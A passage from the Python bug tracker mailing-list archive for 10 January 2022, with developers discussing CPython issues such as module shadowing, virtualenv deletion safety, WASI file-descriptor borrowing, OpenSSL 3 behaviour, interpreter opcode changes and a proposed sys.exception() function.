report at bugs.python.org Mon Jan 10 01:45:35 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 10 Jan 2022 06:45:35 +0000 Subject: [issue46324] 'import traceback' Causes a Crash In-Reply-To: <1641792937.05.0.517965113844.issue46324@roundup.psfhosted.org> Message-ID: <1641797135.88.0.836779070519.issue46324@roundup.psfhosted.org> Kumar Aditya added the comment: Python has a token module so you should use any other name for your module. ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 01:51:18 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 10 Jan 2022 06:51:18 +0000 Subject: [issue46323] Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c In-Reply-To: <1641787281.46.0.018565492634.issue46323@roundup.psfhosted.org> Message-ID: <1641797478.22.0.468127803599.issue46323@roundup.psfhosted.org> Kumar Aditya added the comment: Targeting Python 3.11 as it a performance improvement. ---------- nosy: +kumaraditya303, vstinner versions: -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 01:51:55 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 10 Jan 2022 06:51:55 +0000 Subject: [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) In-Reply-To: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> Message-ID: <1641797515.54.0.403854541111.issue46315@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 01:53:54 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 10 Jan 2022 06:53:54 +0000 Subject: [issue46310] Simplify `for` loop in `.close()` method in `asyncio/windows_events` In-Reply-To: <1641719482.54.0.073879595451.issue46310@roundup.psfhosted.org> Message-ID: <1641797634.93.0.727566461286.issue46310@roundup.psfhosted.org> Change by Kumar Aditya : ---------- components: +asyncio -Library (Lib) nosy: +kumaraditya303, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 02:05:05 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 10 Jan 2022 07:05:05 +0000 Subject: [issue46265] Error when cross compiling for hardfloat MIPS In-Reply-To: <1641370038.04.0.916167704495.issue46265@roundup.psfhosted.org> Message-ID: <1641798305.75.0.926822587892.issue46265@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 02:08:09 2022 From: report at bugs.python.org (Kumar Aditya) Date: Mon, 10 Jan 2022 07:08:09 +0000 Subject: [issue46318] asyncio and ssl: ResourceWarning: unclosed transport In-Reply-To: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> Message-ID: <1641798489.51.0.638294583057.issue46318@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 02:16:24 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Mon, 10 Jan 2022 07:16:24 +0000 Subject: [issue46324] 'import traceback' Causes a Crash In-Reply-To: <1641792937.05.0.517965113844.issue46324@roundup.psfhosted.org> Message-ID: <1641798984.8.0.514950384348.issue46324@roundup.psfhosted.org> Steven D'Aprano added the comment: Your module token.py "shadowed" the stdlib token.py, and prevented it from being seen until you changed the name. ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 04:01:46 2022 From: report at bugs.python.org (Ali Mohammad Pur) Date: Mon, 10 Jan 2022 09:01:46 +0000 Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory Message-ID: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> New submission from Ali Mohammad Pur : `virtualenv --clear` is extremely eager to delete the passed directory without any sort of confirmation, leading to possible data-loss (e.g. with a mistyped command, or a misunderstanding of what it actually does). Simply deleting an entire directory tree with a command that's extremely prone to misunderstanding should not be virtualenv's job, but as it has decided to make this its job, then it should take proper precautions to avoid unintentional `rm -fr some-directory` by *at least* asking for confirmation. The previous behaviour can of course, stay behind a `--force` flag for uses in CI or similar, but this should *not* be the default behaviour. related: https://github.com/pypa/virtualenv/issues/1890 mentions that "[it is not] good practice to put non-virtual environment-related files into a virtual environment", which is sensible, and so virtualenv should then simply refuse to be instantiated in a non-empty directory. On a more subjetive note, `virtualenv --clear ` sounds like a way to purge the virtual environment files from a directory (yes, I understand what the help says, but that hardly changes anything), so perhaps a more verbose flag like "--clear-contents" would be more appropriate, but I digress. ---------- messages: 410192 nosy: alimpfard priority: normal severity: normal status: open title: 'virtualenv --clear' should prompt user before nuking entire directory type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 04:02:20 2022 From: report at bugs.python.org (Julien Palard) Date: Mon, 10 Jan 2022 09:02:20 +0000 Subject: [issue46318] asyncio and ssl: ResourceWarning: unclosed transport In-Reply-To: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> Message-ID: <1641805340.55.0.373418752131.issue46318@roundup.psfhosted.org> Julien Palard added the comment: Related to: https://bugs.python.org/issue23243 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 04:06:35 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 09:06:35 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641805595.72.0.00202539808129.issue46301@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28714 pull_request: https://github.com/python/cpython/pull/30510 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:03:42 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 10:03:42 +0000 Subject: [issue46327] `test_enum` contains tests for older versions of python Message-ID: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's the problem: https://github.com/python/cpython/blob/main/Lib/test/test_enum.py#L4515-L4531 Why it is a problem? 1. First test is marked as `@unittest.skipUnless(python_version == (3, 8)`. Which means it is only executed on `3.8`. I think it should be removed from more recent branches 2. Second test is marked as `@unittest.skipUnless(python_version >= (3, 9)`. Which means that it will be executed on three currently supported branches. I think we can remove this decorator I will send a PR today. ---------- components: Tests messages: 410194 nosy: ethan.furman, sobolevn priority: normal severity: normal status: open title: `test_enum` contains tests for older versions of python type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:03:51 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 10 Jan 2022 10:03:51 +0000 Subject: [issue46322] Invalid file path of SSLKEYLOGFILE throw FileNotFoundError In-Reply-To: <1641772402.91.0.366626116181.issue46322@roundup.psfhosted.org> Message-ID: <1641809031.87.0.17766908589.issue46322@roundup.psfhosted.org> Christian Heimes added the comment: The code works as intended and design. The keylog file is created in append-only mode when the file does not exist yet. A missing, inaccessible, or read-only directory or an invalid path raise an exception by design. Errors should not pass silently. The error informs the user of a misconfiguration. Would accept a documentation update and a better error message for missing parent directory. Your proposed workaround is not acceptable. Python would no longer create a new keylog file and user would no longer get a hint that their configuration is wrong. ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:06:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 10:06:23 +0000 Subject: [issue46327] `test_enum` contains tests for older versions of python In-Reply-To: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> Message-ID: <1641809183.99.0.886124133395.issue46327@roundup.psfhosted.org> Nikita Sobolev added the comment: On the other hand second test ```python @unittest.skipUnless(python_version >= (3, 9), '_convert was removed in 3.9') def test_convert_raise(self): with self.assertRaises(AttributeError): enum.IntEnum._convert( 'UnittestConvert', MODULE, filter=lambda x: x.startswith('CONVERT_TEST_')) ``` can also be removed if needed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:07:19 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 10:07:19 +0000 Subject: [issue46327] `test_enum` contains tests for older versions of python In-Reply-To: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> Message-ID: <1641809239.01.0.695906720001.issue46327@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28715 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30512 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:12:38 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 10 Jan 2022 10:12:38 +0000 Subject: [issue46327] `test_enum` contains tests for older versions of python In-Reply-To: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> Message-ID: <1641809558.09.0.67682016335.issue46327@roundup.psfhosted.org> Change by Alex Waygood : ---------- assignee: -> ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:50:20 2022 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 10 Jan 2022 10:50:20 +0000 Subject: [issue46283] [subinterpreters] Unicode interned strings must not be shared between interpreters In-Reply-To: <1641482482.19.0.863029352248.issue46283@roundup.psfhosted.org> Message-ID: <1641811820.45.0.579726714703.issue46283@roundup.psfhosted.org> Petr Viktorin added the comment: Another proposed alternative is to make these immortal, and share them. There were some discussions about this, but no PEP to capture the pros/cons of the alternatives and the decision. ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 05:59:10 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 10 Jan 2022 10:59:10 +0000 Subject: [issue46315] Add support for WebAssembly System Interface (wasm32-wasi) In-Reply-To: <1641739663.52.0.433507958543.issue46315@roundup.psfhosted.org> Message-ID: <1641812350.53.0.779693256804.issue46315@roundup.psfhosted.org> Christian Heimes added the comment: dup() is required by _PyTokenizer_FindEncodingFilename(). I came up with this hack: // from wasi-libc libc-top-half/musl/src/internal/stdio_impl.h struct _IO_FILE { unsigned flags; unsigned char *rpos, *rend; int (*close)(FILE *); unsigned char *wend, *wpos; // incomplete }; static int dummy_close(FILE *fp) { return 0; }; static FILE * _Py_fdopen_borrow(int fd, const char *mode) { FILE *fp = fdopen(fd, mode); ((struct _IO_FILE*)fp)->close = dummy_close; return fp; } keithw on #wasi pointed out that fopencookie() can archive the same outcome without resorting to ABI-specific hack. A trivial implementation is straight forward: typedef union { void *cookie; int fd; } borrowed; static ssize_t borrow_read(void *cookie, char *buf, size_t size) { borrowed b; b.cookie = cookie; return read(b.fd, (void *)buf, size); } static ssize_t borrow_write(void *cookie, const char *buf, size_t size) { errno = ENOTSUP; return -1; } static int borrow_seek(void *cookie, off_t *off, int whence) { borrowed b; b.cookie = cookie; off_t pos; pos = lseek(b.fd, *off, whence); if (pos == (off_t)-1) { return -1; } else { *off = pos; return 0; } } static int borrow_close(void *cookie) { // does not close(fd) return 0; } FILE * _Py_fdopen_borrow(int fd, const char *mode) { // only support read for now if (strcmp(mode, "r") != 0) { return NULL; } cookie_io_functions_t cookie_io = { borrow_read, borrow_write, borrow_seek, borrow_close }; // cookie is just the fd borrowed b; b.fd = fd; return fopencookie(b.cookie, "r", cookie_io); } ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:05:11 2022 From: report at bugs.python.org (=?utf-8?q?Alex_Gr=C3=B6nholm?=) Date: Mon, 10 Jan 2022 11:05:11 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641812711.96.0.0626155585152.issue46313@roundup.psfhosted.org> Alex Gr?nholm added the comment: I just noticed that Ubuntu 22.04 LTS also uses OpenSSL 3 with their Python builds. I hope somebody has told them too about the state of affairs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:14:04 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 11:14:04 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641813244.08.0.697497359326.issue46314@roundup.psfhosted.org> Mark Shannon added the comment: Thanks, Ned. ---------- assignee: -> Mark.Shannon priority: normal -> release blocker type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:26:31 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 10 Jan 2022 11:26:31 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641813991.74.0.444140875099.issue46313@roundup.psfhosted.org> Christian Heimes added the comment: That's not how OSS work. Python core development does not have resources to provide proactive support for all Linux distros in the world. We provide documentation and guidance. I assume that paid package maintainers of a commercial Linux vendor perform their due diligence, read the release notes, and follow upstream development discussions. PS: I'm unsubscribing from this bpo now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:26:36 2022 From: report at bugs.python.org (Christian Heimes) Date: Mon, 10 Jan 2022 11:26:36 +0000 Subject: [issue46313] SSLObject does not raise SSLEOFError on OpenSSL 3 In-Reply-To: <1641735617.1.0.262008079316.issue46313@roundup.psfhosted.org> Message-ID: <1641813996.22.0.580828434392.issue46313@roundup.psfhosted.org> Change by Christian Heimes : ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:35:37 2022 From: report at bugs.python.org (SinaGhaaf) Date: Mon, 10 Jan 2022 11:35:37 +0000 Subject: [issue46322] Invalid file path of SSLKEYLOGFILE throw FileNotFoundError In-Reply-To: <1641772402.91.0.366626116181.issue46322@roundup.psfhosted.org> Message-ID: <1641814537.44.0.56745395688.issue46322@roundup.psfhosted.org> Change by SinaGhaaf : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:41:27 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 11:41:27 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641814887.06.0.572853079931.issue46314@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +28716 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30513 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:42:32 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 Jan 2022 11:42:32 +0000 Subject: [issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash In-Reply-To: <1639718527.05.0.162787916832.issue46110@roundup.psfhosted.org> Message-ID: <1641814952.3.0.769137014262.issue46110@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:42:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 Jan 2022 11:42:50 +0000 Subject: [issue46323] Use _PyObject_Vectorcall in Modules/_ctypes/callbacks.c In-Reply-To: <1641787281.46.0.018565492634.issue46323@roundup.psfhosted.org> Message-ID: <1641814970.75.0.149027534905.issue46323@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:44:38 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 11:44:38 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641815078.4.0.392911376701.issue46314@roundup.psfhosted.org> Mark Shannon added the comment: Pablo, I've marked this as a release blocker so this bug doesn't get into 3.11a4. ---------- keywords: -patch nosy: +pablogsal stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:45:59 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 10 Jan 2022 11:45:59 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641815159.18.0.729188246249.issue46142@roundup.psfhosted.org> STINNER Victor added the comment: > Serhiy: What do you think about -hh (and maybe ?help-full) printing full help? Do you know other projects which dump the full help into stdout when asking for the "full help"? For me, the best CLI is "git help", "git help init", etc. "git help init" opens "man git-init". I don't know its behaviour on platforms without manpage support, like Windows. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:50:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 11:50:17 +0000 Subject: [issue46328] add sys.exception() Message-ID: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> New submission from Irit Katriel : Following to changes in issue45711, the interpreter's internal representation of the active exception is just the exception instance (the exc_type and exc_traceback fields were removed). For backwards compatibility, sys.exc_info() constructs the (typ, val, tb) tuple from the instance and this will continue to be the case for some time because this tuple has leaked into quite a few APIs. However, now that the redundancy in the exc_info tuple is guaranteed by the way it's constructed, we can confidently add a sys.exception() method that returns just the exception instance (as suggested in PEP3134's section on future improvements). This small change will make a difference to learners because the (typ, val, tb) tuple looks quite cryptic to those who don't know about tracebacks, and the redundancy in it is confusing for those who do. ---------- assignee: iritkatriel messages: 410204 nosy: iritkatriel priority: normal severity: normal status: open title: add sys.exception() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:51:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 11:51:58 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641815518.51.0.00741825843074.issue46328@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28717 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30514 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 06:55:53 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 10 Jan 2022 11:55:53 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641815753.44.0.163603393962.issue46314@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately the release of 3.11.0a4 is already underway and we are waiting for Steve's windows binaries, so this will need to wait for alpha 5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 07:29:16 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 12:29:16 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641817756.56.0.662874961728.issue46314@roundup.psfhosted.org> Mark Shannon added the comment: New changeset ec0c392f34ee2474ceacf66881f05546b540e2d1 by Mark Shannon in branch 'main': bpo-46314: Remove extra RESUME when compiling a lamdba. (GH-30513) https://github.com/python/cpython/commit/ec0c392f34ee2474ceacf66881f05546b540e2d1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 07:30:17 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 10 Jan 2022 12:30:17 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641817817.9.0.049865330956.issue46142@roundup.psfhosted.org> Eryk Sun added the comment: > Do you know other projects which dump the full help into stdout > when asking for the "full help"? `ps --help` lists sections "". The "--help all" output is all sections, but truly all help is only available via `man ps`. > For me, the best CLI is "git help", "git help init", etc. "git help > init" opens "man git-init". I don't know its behaviour on platforms > without manpage support, like Windows. With Git for Windows, `git help ` opens an HTML formatted manual page in a web browser. It should use a new tab in an existing browser window. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 07:30:42 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 12:30:42 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641817842.55.0.50101136167.issue46314@roundup.psfhosted.org> Mark Shannon added the comment: Ok, I'll add a news item in that case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 07:35:43 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 12:35:43 +0000 Subject: [issue46314] Stray RESUME opcode for unused lambda In-Reply-To: <1641739204.02.0.251186748791.issue46314@roundup.psfhosted.org> Message-ID: <1641818143.7.0.748347214691.issue46314@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +28718 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30515 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 07:54:45 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 12:54:45 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. Message-ID: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> New submission from Mark Shannon : Most calls (not those with *args and/or **kwargs) are compiled to the `CALL_NO_KW` and `CALL_KW` instructions, possibly with a `PRECALL_METHOD` prefix. We want to unify the `CALL_NO_KW` and `CALL_KW` instructions into a single `CALL` instruction and add two new instructions: `PRECALL_FUNCTION` and `KW_NAMES`. All call sequences would start with `PRECALL_FUNCTION` or `PRECALL_METHOD`. `PRECALL_METHOD` would continue to pair with `LOAD_METHOD` as it does now. `PRECALL_FUNCTION` would effectively be a no-op, but would be needed to set up internal interpreter variables. `CALL_NO_KW` would become `CALL` and `CALL_KW` would become `KW_NAMES; CALL`. Why? Specializing calls is an important optimization, but calls are complicated and we want to specialized for both the type of the callable and the shape of the call. By breaking up calls in this way, we can specialize for the type and for the shape mostly independently. We can specialize for classes, bound-methods and other objects that ultimately call a Python function in the `PRECALL` instruction and specialize for the shape of the arguments in the `CALL` instruction. See https://github.com/faster-cpython/ideas/discussions/210 for more rationale. ---------- assignee: Mark.Shannon messages: 410209 nosy: Mark.Shannon, kj priority: normal severity: normal status: open title: Split up the CALL_NO_KW and CALL_KW instructions. type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:08:08 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 10 Jan 2022 13:08:08 +0000 Subject: [issue46330] Simplify the signature of __exit__ Message-ID: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> New submission from Jelle Zijlstra : With Irit's recent changes (bpo-45711), the (typ, exc, tb) tuple is now always redundant with just exc. As a result, `__exit__` methods now should only need to accept a single argument. If we were designing the context manager protocol from scratch, we could do: class CM: def __enter__(self): return self def __exit__(self, exc: BaseException | None, /): if exc is not None: print("an exception occurred") Instead of the current cumbersome three-parameter `__exit__`. But we're not designing it from scratch, and we need to deal with lots of existing code with three-parameter `__exit__` methods. One possible decision is that we keep the existing signature, because the cost of changing it is too high. However, this would needlessly complicate learning Python for all future new users. Here's a possible migration approach: - When the interpreter encounters a `with` statement, it does `getattr(cm, "__enable_single_parameter_exit__", False)` on the context manager. If this attribute exists and is truthy, `__exit__` is called with a single parameter; otherwise we keep the current behavior. - After a few releases, we flip the default, so you have to explicitly set `__enable_single_parameter_exit__ = False` to keep three-parameter `__exit__`. Libraries that still wish to support Python 3.10 and older can use this. - Eventually, after Python 3.10 reaches EOL, we always use one-parameter `__exit__`. To help the migration, we can do a few things: - Linters and type checkers can check for discrepancies in the __exit__ signature. - In the interpreter, we can provide a custom error message if the number of parameters to `__exit__` is not as expected, nudging the user towards setting `__enable_single_parameter_exit__`. - In the compiler, we can likely warn if a class body contains three-parameter `__exit__` but doesn't set `__enable_single_parameter_exit__ = False`, or similar discrepancies. Everything here should apply equally to `__aexit__`. This will require a PEP if implemented, but I want to first see whether other people think this is worth pursuing at all. ---------- messages: 410210 nosy: Jelle Zijlstra, iritkatriel priority: normal severity: normal status: open title: Simplify the signature of __exit__ _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:22:41 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 13:22:41 +0000 Subject: [issue46330] Simplify the signature of __exit__ In-Reply-To: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> Message-ID: <1641820961.3.0.557454036958.issue46330@roundup.psfhosted.org> Irit Katriel added the comment: I've outlined a different approach here: https://gist.github.com/iritkatriel/3927147548b10a7929cb0b680e3adc52 Basically, to add introspection capabilities in the C API so that the interpreter can find out whether __exit__ expects one or three args. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:31:21 2022 From: report at bugs.python.org (Julien Palard) Date: Mon, 10 Jan 2022 13:31:21 +0000 Subject: [issue46318] asyncio and ssl: ResourceWarning: unclosed transport In-Reply-To: <1641740693.62.0.185226666966.issue46318@roundup.psfhosted.org> Message-ID: <1641821481.05.0.626936646738.issue46318@roundup.psfhosted.org> Julien Palard added the comment: Feel like SSLProtocol's connection_lost should "bubble up" the info by calling SSLProtocolTransport's close. But I'm no familiar with this stack. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:48:43 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 10 Jan 2022 13:48:43 +0000 Subject: [issue46330] Simplify the signature of __exit__ In-Reply-To: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> Message-ID: <1641822523.4.0.692626839475.issue46330@roundup.psfhosted.org> Jelle Zijlstra added the comment: Thanks, that would work in normal cases but can cause issues if __exit__ takes *args. Still, that may be enough of an edge case that we can get it to work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:55:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 13:55:59 +0000 Subject: [issue46330] Simplify the signature of __exit__ In-Reply-To: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> Message-ID: <1641822959.05.0.605570110958.issue46330@roundup.psfhosted.org> Irit Katriel added the comment: If it takes *args we should assume that it expects the triplet rather than a single exception. It's not an edge case, it's very common to write __exit__ like that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 08:59:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 13:59:35 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641823175.12.0.489509992077.issue46328@roundup.psfhosted.org> Irit Katriel added the comment: This is part of a larger plan to reduce the footprint of the exc_info footprint on the language. See https://gist.github.com/iritkatriel/3927147548b10a7929cb0b680e3adc52 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:00:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:00:02 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641823202.21.0.832004628583.issue46328@roundup.psfhosted.org> Change by Irit Katriel : ---------- Removed message: https://bugs.python.org/msg410215 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:00:22 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:00:22 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641823221.99.0.260707125366.issue46328@roundup.psfhosted.org> Irit Katriel added the comment: This is part of a larger plan to reduce the footprint of the exc_info triplet on the language. See https://gist.github.com/iritkatriel/3927147548b10a7929cb0b680e3adc52 History ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:02:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:02:59 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641823379.86.0.895687763659.issue46328@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:17:57 2022 From: report at bugs.python.org (Ned Batchelder) Date: Mon, 10 Jan 2022 14:17:57 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring Message-ID: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> New submission from Ned Batchelder : See the starred line in the trace output for 3.11: $ cat class_def.py class theClass: ''' the docstring. ''' def __init__(self): ''' Another docstring. ''' self.a = 1 $ python3.10 -c "import sys; print(sys.version)" 3.10.1 (main, Dec 14 2021, 08:30:13) [Clang 12.0.0 (clang-1200.0.32.29)] $ python3.10 -m trace --trace class_def.py --- modulename: class_def, funcname: class_def.py(1): class theClass: --- modulename: class_def, funcname: theClass class_def.py(1): class theClass: class_def.py(2): ''' the docstring. ''' class_def.py(3): def __init__(self): $ python3.11 -c "import sys; print(sys.version)" 3.11.0a3+ (heads/main:0fc58c1e05, Jan 8 2022, 19:45:58) [Clang 